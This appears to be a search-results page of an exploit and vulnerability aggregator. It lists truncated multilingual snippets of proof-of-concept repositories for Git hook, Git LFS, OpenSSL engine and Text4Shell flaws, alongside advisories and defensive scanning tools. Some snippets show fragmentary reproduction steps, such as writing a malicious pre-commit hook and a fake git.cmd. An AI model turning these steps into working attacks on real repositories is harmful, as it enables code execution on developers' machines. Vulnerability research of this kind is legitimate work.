602918 matches found
CVE-2025-65964-Exploit
Etapas de Reprodução Primeiro, prepare um repositório contendo um arquivo malicioso root@kitploit: mkdir n8n-rce-poc && cd n8n-rce-poc git init git remote add origin mkdir evilhooks echo '!/bin/sh' evilhooks/pre-commit echo 'touch /tmp/pwnedsuccess' evilhooks/pre-commit chmod +x...
wakuwaku
AppleDog/hook Questo repository fa parte di un PoC per sfruttare CVE-2024-32002, una vulnerabilità in Git che consente RCE durante le operazioni di clonazione. Questo repository contiene hook dannosi utilizzati per sfruttare la vulnerabilità. Panoramica Per una spiegazione dettagliata dello...
CVE-2024-32002
CVE-2024-32002: Ausnutzung von Git RCE mittels git clone Dieses Repository enthält einen PoC zur Ausnutzung von CVE-2024-32002, einer Schwachstelle in Git, die RCE während eines git clone-Vorgangs ermöglicht. Durch das spezielle Erstellen von Repositories mit Submodulen kann ein Angreifer die...
Maldoc-Analysis
Maldoc-Analysis Im März 2023 wurde eine neue Probe identifiziert, die als Malware eingestuft wurde. Die Malware stammt aus Dateien mit den Erweiterungen .xls und .doc und ist unter dem Namen „Bank Slip.xls“ bekannt. Die Aktivitäten der Malware stehen im Zusammenhang mit den Schwachstellen...
CVE-2020-7115
CVE-2020-7115 Erstellen Sie Ihre bösartige Engine in Sekunden buildengine.sh Einfaches Skript zum Generieren einer bösartigen Engine , die bereit ist, in openssl Argument Injection Szenarien verwendet zu werden. Wie benutzt man das? Es ist sehr einfach, ändern Sie einfach die Datei engine.c mit d...
CVE-2023-35674
Beschreibung CVE-2023-35674 ist eine hochkritische Zero-Day-Sicherheitslücke im Android Framework. Diese Schwachstelle ermöglicht es einem Angreifer, seine Berechtigungen zu erhöhen, ohne dass eine Benutzerinteraktion oder zusätzliche Ausführungsrechte erforderlich sind. Die Schwachstelle tritt i...
cve-2020-27955
cve-2020-27955 cve-2020-27955 Reproduktion 1. Erstelle ein GitHub-Repository 2. git clone https://github.com/attacker/poc.git . 3. echo calc.exe git.cmd 4. git lfs track “.dat” 5. echo “Junk” large.dat 6. git add -A 7. git commit -m “POC” 8. git push -u origin master -f...
bluemonday
bluemonday bluemonday is a HTML sanitizer implemented in Go. It is fast and highly configurable. bluemonday takes untrusted user generated content as an input, and will return HTML that has been sanitised against an allowlist of approved HTML elements and attributes so that you can safely include...
CVE-2024-44083
CVE-2024-44083 Lässt IDA in den meisten Versionen siehe Kompatibilitätsabschnitt abstürzen, wenn die schädliche Binärdatei geöffnet wird. Haftungsausschluss Diese Software wird "wie besehen" nur zu Bildungs- und Forschungszwecken bereitgestellt. Der Autor übernimmt keine Verantwortung für Schäden...
EUVD-2026-66247
LcpDecodeConfig did not validate the length of received endpoint discriminator options against the minimum required by RFC 1717. Undersized options would trigger an out-of-bounds write. A malicious PPP peer can exploit CVE-2026-58095 and CVE-2026-58096 to crash ppp8 or potentially execute arbitra...
EUVD-2026-66245
CorvusSKK contains an integer overflow vulnerability, which may allow malicious data to be written to a dictionary file...
RLSA-2026:22112 Important: go-toolset:rhel8 security update
Go Toolset provides the Go programming language tools and libraries. Go is alternatively known as golang. Security Fixes: net/mail: golang: net/mail: Denial of Service via pathological email address parsing CVE-2026-42499 cmd/go: golang: Go command cmd/go: Integrity bypass due to checksum...
PT-2026-82177
Name of the Vulnerable Software and Affected Versions Linux kernel affected versions not specified Description In the Linux kernel, the decode locker function within cls lock client.c contains three unsafe decode operations. A malicious or compromised OSD Object Storage Device in a multi-tenant...
Text4ShellPayloads
Text4ShellPayloads Dieses Projekt enthält ein Python-Skript, das bösartige Befehle unter Ausnutzung der Sicherheitslücke CVE-2022-42889 generiert. Der anfällige Server wurde gemäß der Anleitung von "Karthik U J" eingerichtet, indem der Schritt unter...
Malicious code in hydration-ui-cls (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0dab60d6a779e65d7fa94af8c036d86b722a9cfddbe12d637990251a35004356 On import, dist/index.mjs runs a top-level async IIFE that chmods dist/internal/calc-eng.dat to 0755 and spawns it detached via childprocess.spawn. T...
MAL-2026-14517 Malicious code in hydration-ui-cls (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0dab60d6a779e65d7fa94af8c036d86b722a9cfddbe12d637990251a35004356 On import, dist/index.mjs runs a top-level async IIFE that chmods dist/internal/calc-eng.dat to 0755 and spawns it detached via childprocess.spawn. T...
CVE-2026-22004-Git-LFS-Pointer-Poisoning-Supply-Chain-
CVE-2026-22004 – Avvelenamento del puntatore Git LFS Catena di fornitura Codice del programma Bash + Python root@kitploit: createmaliciousrepo.sh - Sets up a repo with poisoned LFS pointer git init git lfs track ".bin" echo "version https://git-lfs.github.com/spec/v1 oid...
CVE-2026-65091
NVIDIA OpenShell for all platforms contains a vulnerability where a malicious gateway could cause OS command injection. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure...
go-mal-pkgs
go-mal-pkgs Uma ferramenta de segurança para detectar pacotes Go maliciosos, verificando os checksums no go.sum contra o código-fonte original, contornando o cache do Go Module Proxy. Visão Geral Esta ferramenta ajuda a proteger contra ataques à cadeia de suprimentos que exploram o cache do Go...